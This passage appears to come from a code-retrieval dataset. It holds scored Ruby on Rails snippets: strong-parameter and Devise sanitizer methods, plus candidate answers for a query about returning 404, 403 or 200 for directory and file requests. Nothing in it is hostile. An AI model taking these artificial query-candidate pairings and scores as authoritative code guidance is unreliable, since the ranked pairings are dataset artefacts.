**kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "title": "" }, { "docid": "b48f61fbb31be4114df234fa7b166587", "score": "0.58997184", "text": "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "title": "" }, { "docid": "e3f83427e50dea749dfb4362709998c1", "score": "0.58978087", "text": "def sanitize!(request)\n [ :path, :query, :body ].each do |name|\n send(\"#{name}_parameters\").sanitize_object!(request.params)\n end\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.5896996", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.58940434", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "6de692075453dcc2ab042b068ad97f4f", "score": "0.5887589", "text": "def surgical_params\n params.require(:surgical).permit(Surgical.safe_attributes)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.5887006", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "7befdf5d03aadb61b4c6e74ed07cd447", "score": "0.588294", "text": "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "title": "" }, { "docid": "dab2e7e37c475245685ea808d5ea4f48", "score": "0.58775926", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << :terms_of_service << :first_name << :last_name\n devise_parameter_sanitizer.for(:account_update) << :first_name << :last_name\n end", "title": "" }, { "docid": "5dc5638cc9b549ad691c97689297bd90", "score": "0.58737236", "text": "def safe_params\n safe_attributes = %i[name key]\n params.require(:role).permit(safe_attributes)\n end", "title": "" }, { "docid": "cbdb6e6a543691a840ed14a2213a6df0", "score": "0.5871206", "text": "def permitted_params\n if is_singleton?\n singleton_permitted_params\n else\n params.require(:data).permit(allowed_resource_params.to_a)\n end\n end", "title": "" }, { "docid": "ed4783d294a30988bf536f8e074ad564", "score": "0.5870724", "text": "def submission_params\n allowed = :student_number, :last_name, :first_name, :week, :hours, :comments, :email, :github, :challenging\n (1..Course.current.exercises_max).each do |i|\n allowed << \"a#{i}\".to_s\n end\n params.require(:submission).permit(allowed)\n end", "title": "" }, { "docid": "e86d3c7a5d37c3d8653eef9e26d814de", "score": "0.586412", "text": "def less_active_member_params\n clean_params = params.require(:less_active_member).permit(:surname, :given_name, :current_address, :new_address, :new_phone, :reference, :new_note, :resources, tag_list: [])\n clean_params.merge!({current_user_id: current_user.id}) unless current_user.nil?\n end", "title": "" }, { "docid": "3c815c7718a92f45dc5d6f7a9d7659d6", "score": "0.58603865", "text": "def csrfattack_params\n params.require(:csrfattack).permit(:professor, :vote)\n end", "title": "" }, { "docid": "b7921cbcc22947bf5d6b5cfef8b6bf50", "score": "0.5850765", "text": "def sanitize_params(form_params)\n super.tap do |params|\n params['title'] = Array.wrap(params['title']) if params.key?('title')\n params['description'] = Array.wrap(params['description']) if params.key?('description')\n end\n end", "title": "" }, { "docid": "4782f0a9dd14ad89435ae20d8ae650a6", "score": "0.58469373", "text": "def configure_permitted_parameters\n \tdevise_parameter_sanitizer.permit(:sign_up, keys: %i[first_name last_name username technology_id secondary_technology])\n end", "title": "" }, { "docid": "2b4481b7db581e86f56846f5cb81499d", "score": "0.5843961", "text": "def build_permitted_params\n super + [\n { date_of_work_attributes: permitted_time_span_params },\n { inscription_attributes: permitted_inscription_params },\n { additional_credit_attributes: permitted_additional_credit_params },\n after: [],\n artist: [],\n attributed_to: [],\n author: [],\n addressee: [],\n creator_of_work: [],\n contributor: [],\n editor: [],\n engraver: [],\n interviewee: [],\n interviewer: [],\n manner_of: [],\n school_of: [],\n manufacturer: [],\n photographer: [],\n printer: [],\n printer_of_plates: [],\n publisher: [],\n place_of_interview: [],\n place_of_manufacture: [],\n place_of_publication: [],\n place_of_creation: [],\n ]\n end", "title": "" }, { "docid": "81b57f3f66460e1555acec155ed14a7c", "score": "0.58388746", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:fname, :lname, :avatar, :avatar_cache, :bio, :school, :job, :nickname, :grade, :major, :hometown])\n end", "title": "" }, { "docid": "f573619c24113379f1e6edbd3be8eff7", "score": "0.5837621", "text": "def post_params(*args)\n params.require(:student).permit(*args)\n end", "title": "" }, { "docid": "8b8d810e07d3c17fcd9d728504bc2089", "score": "0.58303636", "text": "def anonymous_filter_params\n p = params.required('payload')\n # p.permit!('controls_params')\n # p.permit!('columns_params')\n # p.permit!('sorting')\n # p.permit!('global_config')\n p.permit(\n 'name',\n 'controls_list' => [],\n 'controls_hl_mode' => [],\n 'controls_params' => {},\n 'columns_list' => [],\n 'columns_params' => {},\n 'sorting' => {},\n 'global_config' => {}\n ).merge(permit_hashes(p, [\n 'controls_params',\n 'columns_params',\n 'sorting',\n 'global_config'\n ]))\n end", "title": "" }, { "docid": "91d7e7d4c004a320c8af8cba627b1c5f", "score": "0.5808892", "text": "def additional_subject_params\n params.permit(:name)\n end", "title": "" }, { "docid": "64496811440ff6cc194b72f1ebdcf178", "score": "0.5802483", "text": "def hack_params\n params.require(:hack).permit(:title, :body, :tag_list, :tag)\n end", "title": "" }, { "docid": "b4c9e256f5ff7da4611e1dd066ed19af", "score": "0.57949424", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up,\n keys: [:face_image, :worker_number, :name, :name_kana, :trade_name, :phone, :address_zip, :address, :warehouse_zip, :warehouse, :warehouse_info, :inaba,\n :yodo, :takubo, :ykkap, :sankyo, :lixil])\n end", "title": "" }, { "docid": "a8448344a1c8b46809c7e7041ef4914b", "score": "0.5791214", "text": "def permit_attributes\n params.require(resource_as_param_key).permit(*permitted_attributes)\n end", "title": "" }, { "docid": "2f3ae517611130e77cfc59be153bf71e", "score": "0.5791014", "text": "def student_params\n params.require(:student).permit!\n end", "title": "" }, { "docid": "2d1410a4947eb1218a0372b90e8547d3", "score": "0.57847995", "text": "def visit_params\n params.require(:visit).permit(*allowable)\n end", "title": "" }, { "docid": "6b8ef5fd177b7f5ab623097187f9b8a8", "score": "0.5782731", "text": "def special_params\n params.require(:special).permit(:info)\n end", "title": "" }, { "docid": "c250f72dc3725feca0db99e6cdd30891", "score": "0.5781977", "text": "def safe_movie_params\n\t\treturn params.require(:movie).permit(:title, :description, :year_released)\n\tend", "title": "" }, { "docid": "6ceac1e2b2b174202a6126b7dcdc62a0", "score": "0.57755154", "text": "def user_pleasure_params\n params.permit(:title)\n end", "title": "" }, { "docid": "dda639f5582a8e3ec82c8b041880d653", "score": "0.5772579", "text": "def full_sanitizer=(_arg0); end", "title": "" }, { "docid": "dda639f5582a8e3ec82c8b041880d653", "score": "0.5772579", "text": "def full_sanitizer=(_arg0); end", "title": "" }, { "docid": "dda639f5582a8e3ec82c8b041880d653", "score": "0.5772579", "text": "def full_sanitizer=(_arg0); end", "title": "" }, { "docid": "50bfa51e3dbeddf3b2cf65efc3a832b3", "score": "0.5769446", "text": "def configure_account_update_params\n devise_parameter_sanitizer.for(:account_update) << :first_name << :last_name << :phone_number\n end", "title": "" }, { "docid": "18039f60d44a2059a6f4ef70c11204e9", "score": "0.5766719", "text": "def surgery_params\n\t\t# Permitting the profile photo params\n\t\tparams.require(:surgery).permit(:name)\n\tend", "title": "" }, { "docid": "0d980fc60b69d03c48270d2cd44e279f", "score": "0.5758603", "text": "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "title": "" }, { "docid": "4e7339c602c5ee7f89eddd021b57bed2", "score": "0.575704", "text": "def configure_account_update_params\n devise_parameter_sanitizer.permit(:account_update, keys: [:fname, :lname, :avatar, :bio, :school, :job, :nickname, :grade, :major, :hometown])\n end", "title": "" }, { "docid": "ad0d0f2aa2736ac22f4f19a84eb9f05b", "score": "0.5756578", "text": "def string_enforcer_params\n params.fetch(:string_enforcer, {})\n end", "title": "" }, { "docid": "0f4c5eecf81dc65ba15722757102f223", "score": "0.57548386", "text": "def update_params\n permitted = params.permit(*common_params,\n annotated_students_attributes:\n %i[id student_id _destroy])\n permitted[:annotated_students_attributes] = [] if @annotation.is_group\n permitted\n end", "title": "" }, { "docid": "9bdcf84df29fd2bed39dcae445bc4174", "score": "0.57541984", "text": "def sanitizer\n if options = sanitization\n @sanitizer ||= options.to_sanitize\n end\n end", "title": "" }, { "docid": "bdcf7980cb612ecb5d79f2f5aa6b93e3", "score": "0.57518667", "text": "def configure_account_update_params\n devise_parameter_sanitizer.permit(:account_update, keys: [:username, :fname, :lname, :avatar, :bio, :street, :city, :state, :country, :lat, :lng])\n end", "title": "" }, { "docid": "dab3510fcdc1b7a1ff0613baeb45a4a8", "score": "0.5751863", "text": "def configure_permitted_parameters\n added_attrs = [:email, :password, :password_confirmation, :name, :description, :age, :gender,\n :favorite_movie, :favorite_food, :favorite_song, :job_title, :hobbies, :school, :social_media_link,\n :snap_chat_name, :allow_male, :allow_female, :allow_other]\n devise_parameter_sanitizer.permit :sign_up, keys: added_attrs\n devise_parameter_sanitizer.permit :account_update, keys: added_attrs\n end", "title": "" }, { "docid": "18d56128a5cb9b14ec140965de058be1", "score": "0.5748482", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [\n :name, :current_profession, :years_experience,\n :desired_profession, :desired_location, :work_status\n ]\n end", "title": "" }, { "docid": "419c8d98951eb301906ad011d2fa97b9", "score": "0.5746564", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:practice, :last_name, :first_name, :email, :phone, :birthday, :gender, :password,\n :password_confirmation, :avatar, :avatar_cache, :remove_avatar, address_attributes: [ :id, :postcode, :prefecture, :city, :street, :building ]])\n end", "title": "" }, { "docid": "0b6129d775136b0d6037453613f331dd", "score": "0.5744878", "text": "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "title": "" }, { "docid": "795ea00f52a1dca190b25a5f7cda9104", "score": "0.5743098", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:api_key, :home_zip_code, :full_name, :found_option])\n end", "title": "" }, { "docid": "d85549ae521cee72b8fe7839ecb86e98", "score": "0.5728885", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:account_update) do |u|\n u.permit(:name, :email, :password, :password_confirmation, :current_password, :role_ids, :performer_attributes => [:first_name, :avatar, :photo_id, :profile_thumb, :profile_gif, :photo_id, :location_id, :avatar, :id ,:description, :white_label_id, :clip_category_performers_attributes => [:id, :clip_category_ids]])\n end\n Rails.logger.info'****************************************'\n end", "title": "" }, { "docid": "b253a4e344145fd07b38d67d03079c11", "score": "0.5727657", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << [:firstname, :lastname, :ucard, :course, :level]\n devise_parameter_sanitizer.for(:account_update) << [:firstname, :lastname, :ucard, :course, :level]\n\n end", "title": "" }, { "docid": "f141a28a04cf1cf9e40c68eede2d26dd", "score": "0.57257277", "text": "def unsanitised_user_params\n params.require(:user).permit(\n :name,\n :email,\n :organisation_id,\n :invitation_token,\n :password,\n :password_confirmation,\n :require_2sv,\n :role,\n supported_permission_ids: [],\n ).to_h\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.572434", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" } ]
6280330bd4df66882234c5b433fc7898
If the directory is not valid or file is not 404. If you turn on the direct address directory index 403 If the directory is correct, then return its index 200 If the file is, then bring it back 200
[ { "docid": "6d23df20d1df4c3017e3e162916ea94e", "score": "0.0", "text": "def get_handler(client, path, body=true)\n\tpath = URI.unescape(File.join(DOCUMENT_ROOT, path))\n\n\tif File.file?(path) and path.end_with?(INDEX_PATH)\n\t\tclient.puts get_headers(STATUS_FORBIDDEN)\n\t\tclient.close\t\t\n\tend\n\n\tif File.directory?(path)\n\t\tpath = File.join(path, INDEX_PATH)\n\tend\n\n\tif File.exist?(path)\n\t\tmime = MimeMagic.by_path(path).type\n\t\tsize = File.size?(path)\n\t\tmodified_time = File.mtime(path).strftime(HTTP_DATE_FORMAT)\n\n\t\tclient.puts get_headers(STATUS_OK, mime, size, modified_time)\n\t\tif body\n\t\t\tFile.open(path, 'rb') do |file|\n \twhile chunk = file.read(FILE_CHUNK_SIZE)\n \t\tclient.write chunk\n \t\tend\n \t\tend\n\t\tend\n\telse\n\t\tclient.puts get_headers(STATUS_NOT_FOUND)\n\tend\n\n\tclient.close\nend", "title": "" } ]
[ { "docid": "7b36b49b04e47de93d6801080243dd1b", "score": "0.7075258", "text": "def check_404\n end", "title": "" }, { "docid": "d565f4438d384b39edc50448cd7d7823", "score": "0.69738996", "text": "def directory_index_response(req)\n response = ::Rack::Response.new\n dir_index = File.join(req.request_path, directory_index_html) \n if File.file?(dir_index) && File.readable?(dir_index) then\n response['Content-Type'] = mime_map.mime_type_of(dir_index).to_s\n response.write( File.read( dir_index ) )\n elsif directory_listing_allowed? then\n body = directory_indexer.index_page_for(req)\n response['Content-Type'] = 'text/html'\n response.write( body )\n else\n return ::Heel::ErrorResponse.new(req.path_info,\"Directory index is forbidden\", 403).finish\n end\n return response.finish\n end", "title": "" }, { "docid": "7913669442b32495c0cd32f58ebb934e", "score": "0.6761906", "text": "def page404(pathname);end", "title": "" }, { "docid": "ff6e38c924b7870ae977425aa0ac45e3", "score": "0.6713713", "text": "def directory_index?\n path.include?(@app.config[:index_file]) || path =~ /\\/$/ || eponymous_directory?\n end", "title": "" }, { "docid": "57a55e5689701fda2a08c65047613022", "score": "0.6712116", "text": "def file_not_found\n redirect settings.root_url.is_a?(Array) ? send(*settings.root_url) : settings.root_url\n end", "title": "" }, { "docid": "5f42acdecea57fe527666c93beaaab1f", "score": "0.65764546", "text": "def not_found\n #render :file => \"#{RAILS_ROOT}/public/404.html\"\n render_optional_error_file(404)\n return false\n end", "title": "" }, { "docid": "475fca009cf53fb0209650f74cd90e06", "score": "0.6561829", "text": "def do_file(req,res)\n path = req.path.gsub(/^(\\/|\\.)+/,\"\")\n return do_GET(req,res,path) if File.exists? path\n raise WEBrick::HTTPStatus::NotFound, \"`#{path}' not found.\"\n end", "title": "" }, { "docid": "65aaf49937f5ba3c7a0a67376972f41f", "score": "0.6524865", "text": "def four_o_four\n render :text => 'File not found', :status => 404\n end", "title": "" }, { "docid": "cb732af50f5c00323fdb894750fdcfb8", "score": "0.64659625", "text": "def response_code\n File.exists?(\"#{Mosaic.root}/views/#{file}.erb\") ? 200 : 404\n end", "title": "" }, { "docid": "728f6b3d2b1e3423bcf904cb82af3ffd", "score": "0.64369255", "text": "def directory_index\n end", "title": "" }, { "docid": "aa03d83d5f5b074254e5424fab37d9d3", "score": "0.6418939", "text": "def reply_with_file(dir)\n path = File.expand_path(File.join(dir, @path))\n\n # redirect requests missing a slash so relative links work\n if File.directory?(path) && !@path.end_with?('/')\n send_status(301, MOVED, \"Location: #{redirect_uri}\")\n return\n end\n\n path = File.join(path, 'index.html') if File.directory?(path)\n\n if path.start_with?(dir) && File.exist?(path)\n modified?(path) ? send_file(path) : send_status(304, NOT_MODIFIED)\n else\n missing = File.join(dir, '404.html')\n if File.exist?(missing)\n send_file(missing, 404, NOT_FOUND)\n else\n send_status(404, NOT_FOUND)\n end\n end\n end", "title": "" }, { "docid": "249a3c0dd9df64cf3f9b54a948e34bcf", "score": "0.63431185", "text": "def record_not_found\n \t\trender :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n \tend", "title": "" }, { "docid": "735dfef4b8aa8bc735fdd3f2865632e1", "score": "0.6339412", "text": "def not_found\n render file: \"#{Rails.root}/public/404\", layout: true, status: :not_found\n end", "title": "" }, { "docid": "1b358c5b44b21e08776b935a47c11da2", "score": "0.6337358", "text": "def analyze_404\n selected_files.each do |file_name|\n result = [file_name[0,6], 0, 0]\n url = ''\n File.readlines(file_name).each do |line|\n if m = /Started(.*?)for/.match(line)\n url = m[1]\n end\n if m = /404/.match(line)\n p url.gsub('\"','')\n end\n end\n end\nend", "title": "" }, { "docid": "4352a8984b98e580e5eb869fee1124ac", "score": "0.63084954", "text": "def not_found\n render file: 'public/404', status: 404, formats: [:html]\n end", "title": "" }, { "docid": "19c4103193ae0c34c3603c2bce1b109b", "score": "0.6289546", "text": "def render_404\n render :file => \"#{Rails.root.to_s}/public/404\", :formats => [:html], :status => 404\n true\n end", "title": "" }, { "docid": "fd1127a2587f00757afa8fd8ea4fe9b1", "score": "0.6282288", "text": "def not_found\n render :status => 404\n end", "title": "" }, { "docid": "1a7d3dc455548f7b23636bfbee355062", "score": "0.62754726", "text": "def render_404\n render_optional_error_file(404)\n end", "title": "" }, { "docid": "4a5a0404cf3c119ac094c361812f8a0a", "score": "0.62642235", "text": "def render_404\n respond_to do |format|\n format.html { render :file => \"#{Rails.root}/public/404\", :layout => false, :status => :not_found }\n format.xml { head :not_found }\n format.any { head :not_found }\n end\n end", "title": "" }, { "docid": "fadcf040464dc76ef43c1b4d13693b4a", "score": "0.6259325", "text": "def rescue404\n render 'public/404'\n end", "title": "" }, { "docid": "a07692e75cfc0c6f93b761eafd81c4fd", "score": "0.62474245", "text": "def path_not_found\n [\n 404,\n { CONTENT_TYPE => 'text/plain', 'X-Cascade' => 'pass' },\n [\"#{Utils::HTTP_STATUS_CODES[404]}\\n\"]\n ]\n end", "title": "" }, { "docid": "fcf4bea438f8ef030faa21dfc27eb6e4", "score": "0.62459683", "text": "def render_404\n render 'errors/index_404'\n end", "title": "" }, { "docid": "851a98f29539b92ab83bd2b3851d1bc1", "score": "0.6242221", "text": "def check_url(path, url)\n res = http_client.get(url, follow_redirect: true)\n return if res.status == 200\n raise(nil) unless res.status.to_s.match(/50\\d|403/)\n\n puts \"::warning file=#{path}:: Unexpected response from #{url} (#{res.status})\"\nrescue StandardError => e\n puts \"::warning file=#{path}:: Unable to reach #{url} #{res.respond_to?('status') ? res.status : nil}\"\n puts e.full_message unless e.instance_of?(TypeError)\n 1\nend", "title": "" }, { "docid": "9b0665ccea061757c37ac0f1c5fed2dc", "score": "0.62372994", "text": "def not_found\n \trender file: \"#{Rails.root}/public/404.html\", status: 404\n end", "title": "" }, { "docid": "c7c1b06e99fa6384223df3e23deae088", "score": "0.6189376", "text": "def not_found\n respond_with 404\n end", "title": "" }, { "docid": "25dc4222ce3d8f3b12c8e3d5138e842b", "score": "0.6183025", "text": "def not_found?\n 404 == code\n end", "title": "" }, { "docid": "dd0d117b65feb6db12cfa6278a934890", "score": "0.6179425", "text": "def render_404 \n render :file => \"/public/404.html\", :status => 404\n end", "title": "" }, { "docid": "4883845e3dfe87c374205f002e87f290", "score": "0.61772716", "text": "def serve_directory(path)\n @response.status = 200\n if File.exists?(\"index.html\") || File.exists?(\"/index.html\")\n @response.body = read_file \"index.html\"\n @response.headers[\"Content-Type\"] = \"text/html\"\n else\n @response.headers[\"Content-Type\"] = \"text/html\"\n @response.body << DirectoryLister.list(path)\n end\n end", "title": "" }, { "docid": "930af3cc64eda8e9f37fa336194177c7", "score": "0.6167021", "text": "def view\n response_code == 200 ? file.to_sym : Mosaic.error404\n end", "title": "" }, { "docid": "98bf7e7d7c2e810b5311303242db0a24", "score": "0.6155004", "text": "def not_found\n\trender :file => 'public/404.html', :status => :not_found, :layout => false\nend", "title": "" }, { "docid": "075941f19648f11a07b5ef577e6771e3", "score": "0.6148556", "text": "def render_404 \n render file: \"public/404.html\", status: 404\n end", "title": "" }, { "docid": "60e82f58cc76b4e01f1e6b0986f5e297", "score": "0.6145079", "text": "def not_found?\n @code == 403 or @code == 404\n end", "title": "" }, { "docid": "dac9127537c3590251c6990c0b6e5d56", "score": "0.6141313", "text": "def not_found\n \trender file: \"#{Rails.root}/public/404.html\", layout: true, status: 404\n end", "title": "" }, { "docid": "56f27a5447825e09231e561f1badfa93", "score": "0.61317796", "text": "def render_404\n respond_to do |wants|\n wants.html do\n render(:template => \"#{DynamicErrors.config[:view_path]}/404\",\n :layout => DynamicErrors.config[:layout], :status => 404)\n end\n # TODO should have a response for XML and JSON requests?\n wants.all do\n render :nothing => true, :status => 404\n end\n end\n return true\n end", "title": "" }, { "docid": "c0a4bbdcac491ad97e143d9dc91312da", "score": "0.61297154", "text": "def not_found\n if settings.root_url && settings.redirect_on_file_not_found && current && !current.exist?\n file_not_found\n else\n super\n end\n end", "title": "" }, { "docid": "f6a9d55629475e5e30e4fa055ef4f919", "score": "0.61265963", "text": "def render_404\n render :file => \"#{Rails.root}/public/404.html\", :status => 404\n end", "title": "" }, { "docid": "ee453bb6c233a97de9b52d2b72eb35b8", "score": "0.61233705", "text": "def not_found\n render :file => (Rails.root + \"public/404.html\").to_s\n true\n end", "title": "" }, { "docid": "938c1cec3bd3ee178551b355f4179f45", "score": "0.61140704", "text": "def not_found\n respond_with 404\n end", "title": "" }, { "docid": "54fd1c5e502aff6a16067b993bedeb43", "score": "0.6107565", "text": "def not_found\n render :nothing => true, :status => 404\n end", "title": "" }, { "docid": "ee3cc1bbbbe3818b6683bb89b1ccd364", "score": "0.6102984", "text": "def record_not_found\n render :file => Rails.root.join('public','404.html'), :status => \"404 Not Found\", layout: false\n end", "title": "" }, { "docid": "dcc2c0577121fa47f7d0508f6b58db4e", "score": "0.60763353", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "dcc2c0577121fa47f7d0508f6b58db4e", "score": "0.60763353", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "dcc2c0577121fa47f7d0508f6b58db4e", "score": "0.60763353", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "dcc2c0577121fa47f7d0508f6b58db4e", "score": "0.60763353", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "dcc2c0577121fa47f7d0508f6b58db4e", "score": "0.60763353", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "dcc2c0577121fa47f7d0508f6b58db4e", "score": "0.60763353", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "dcc2c0577121fa47f7d0508f6b58db4e", "score": "0.60763353", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "c7cee42ed0ce1c5da52c1bc70c5fd6c7", "score": "0.60675997", "text": "def render_404\n render \"404\", :status => 404\n end", "title": "" }, { "docid": "d84e20a0334703a301fd16c33d054ee6", "score": "0.6063301", "text": "def render_optional_error_file(status_code)\n case status_code\n when :not_found\n render_404\n else\n super\n end\n end", "title": "" }, { "docid": "96aa1003275e4a1acae0e5ffac55c464", "score": "0.60628486", "text": "def get(request, response)\n return NotFound unless exist?\n if stat.directory?\n response.body = \"\".dup\n Rack::Directory.new(root).call(request.env)[2].each do |line|\n response.body << line\n end\n response['Content-Length'] = response.body.bytesize.to_s\n OK\n else\n status, headers, body = Rack::File.new(root).call(request.env)\n headers.each do |k, v|\n response[k] = v\n end\n response.body = body\n StatusClasses[status]\n end\n end", "title": "" }, { "docid": "930fc8ab48ceaec7461555fffc14462b", "score": "0.6061185", "text": "def record_not_found\n render file: \"#{Rails.root}/public/404.html\", layout: false, status: :not_found\n end", "title": "" }, { "docid": "ca439195f18528711b94bd2d66c5d18e", "score": "0.6060045", "text": "def status_not_found\n @status = 404\n @e.error 'The requested page does not exist.', 404\n throw :exit\n end", "title": "" }, { "docid": "2d5a7e0403c24f146c9f51b8dfcfbdff", "score": "0.60596865", "text": "def render_404!\n render :file => File.join(Rails.root, 'public', '404.html'), :status => 404, :layout => false\n return true\n end", "title": "" }, { "docid": "a5bf99d7a20217040b80628a22eab5dd", "score": "0.6036177", "text": "def render_404\n render file: \"#{::Rails.root}/public/404.html\",\n status: '404 Not Found',\n layout: false\n end", "title": "" }, { "docid": "3e2df10061991774ad23526be0b1b74b", "score": "0.60235393", "text": "def render_404\n render file: \"#{Rails.root}/public/404.html\", layout: false, status: 404\n end", "title": "" }, { "docid": "3cfdd5f23c095eeedb51765f091b14b4", "score": "0.6022665", "text": "def not_found\n status 404\n body \"not found\\n\"\n end", "title": "" }, { "docid": "3cfdd5f23c095eeedb51765f091b14b4", "score": "0.6022665", "text": "def not_found\n status 404\n body \"not found\\n\"\n end", "title": "" }, { "docid": "3cfdd5f23c095eeedb51765f091b14b4", "score": "0.6022665", "text": "def not_found\n status 404\n body \"not found\\n\"\n end", "title": "" }, { "docid": "e099de9d775d959108923a4fd7b202b2", "score": "0.6018494", "text": "def passthru\n render :file => \"#{Rails.root}/public/404.html\", :status => 404, :layout => false\n end", "title": "" }, { "docid": "bb024f18f6ad8c303c350e1e1c08545c", "score": "0.60120213", "text": "def not_found\n render nothing: true, status: 404\n end", "title": "" }, { "docid": "0fa0c3f141baf72e485184fba7dc91c2", "score": "0.60114914", "text": "def not_found\n render file: 'public/404.html', status: :not_found, layout: false\n end", "title": "" }, { "docid": "35fb6bfb18ce0ee352b70e3593d3c74c", "score": "0.6003532", "text": "def record_not_found\n render file: 'public/404.zh-TW.html', stats: :not_found\n end", "title": "" }, { "docid": "fca56d8b3510be9c16a234fc5bbe7307", "score": "0.5996923", "text": "def record_not_found\n render :file => File.join(::Rails.root.to_s, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "3ef284ea559dda2fbfa7947847f715ec", "score": "0.59940827", "text": "def not_found?\n 404 == @code\n end", "title": "" }, { "docid": "3ef284ea559dda2fbfa7947847f715ec", "score": "0.59940827", "text": "def not_found?\n 404 == @code\n end", "title": "" }, { "docid": "3ef284ea559dda2fbfa7947847f715ec", "score": "0.59940827", "text": "def not_found?\n 404 == @code\n end", "title": "" }, { "docid": "3ef284ea559dda2fbfa7947847f715ec", "score": "0.59940827", "text": "def not_found?\n 404 == @code\n end", "title": "" }, { "docid": "89b4c08a41af8096d0572785a25d05ed", "score": "0.59938437", "text": "def render_404 \n render :file => \"/public/404.html\", :status => 404,:layout => false\n end", "title": "" }, { "docid": "89b4c08a41af8096d0572785a25d05ed", "score": "0.59938437", "text": "def render_404 \n render :file => \"/public/404.html\", :status => 404,:layout => false\n end", "title": "" }, { "docid": "89b4c08a41af8096d0572785a25d05ed", "score": "0.59938437", "text": "def render_404 \n render :file => \"/public/404.html\", :status => 404,:layout => false\n end", "title": "" }, { "docid": "89b4c08a41af8096d0572785a25d05ed", "score": "0.59938437", "text": "def render_404 \n render :file => \"/public/404.html\", :status => 404,:layout => false\n end", "title": "" }, { "docid": "89b4c08a41af8096d0572785a25d05ed", "score": "0.59938437", "text": "def render_404 \n render :file => \"/public/404.html\", :status => 404,:layout => false\n end", "title": "" }, { "docid": "89b4c08a41af8096d0572785a25d05ed", "score": "0.59938437", "text": "def render_404 \n render :file => \"/public/404.html\", :status => 404,:layout => false\n end", "title": "" }, { "docid": "ab1464c6263b3e5ec872df3aee4caa97", "score": "0.59841824", "text": "def not_found?\n @status == 404 if @status\n end", "title": "" }, { "docid": "6950d07382917d226c7c83d3bad69601", "score": "0.5981013", "text": "def file_exists?(key)\n result = http.head([200,404], luwak, escape(key))\n result[:code] == 200\n end", "title": "" }, { "docid": "4ce820bf3d9adf84f70f77646e8b79bb", "score": "0.5979229", "text": "def render_404\n render 'web/404', status: 404\n end", "title": "" }, { "docid": "4c5ea66d39cebd340f48ea4a851e7409", "score": "0.5973198", "text": "def render_404\n render file: Rails.root.join('public/404.html'), status: 404, layout: false, content_type: 'text/html'\n end", "title": "" }, { "docid": "175aa32df6795a85f90098f9e4d1d2b3", "score": "0.59546626", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "175aa32df6795a85f90098f9e4d1d2b3", "score": "0.59546626", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "175aa32df6795a85f90098f9e4d1d2b3", "score": "0.59546626", "text": "def record_not_found\n render :file => File.join(RAILS_ROOT, 'public', '404.html'), :status => 404\n end", "title": "" }, { "docid": "cb47a98b0ad2c7320e51ee9beec806f2", "score": "0.5934867", "text": "def handle_error (url, res)\n puts \"#{url} was not found\" if res.code.to_i == 404\n puts \"#{url} requires authorization\" if res.code.to_i == 401\n puts \"#{url} returns an application error\" if res.code.to_i == 500\nend", "title": "" }, { "docid": "cabce24db41517f3f861cf9ba226f2db", "score": "0.5933508", "text": "def render_optional_error_file(status_code)\n status = interpret_status(status_code)\n path = \"#{Rails.public_path}/#{status[0,3]}.html\"\n if File.exist?(path)\n render :file => path, :status => status\n else\n head status\n end\n end", 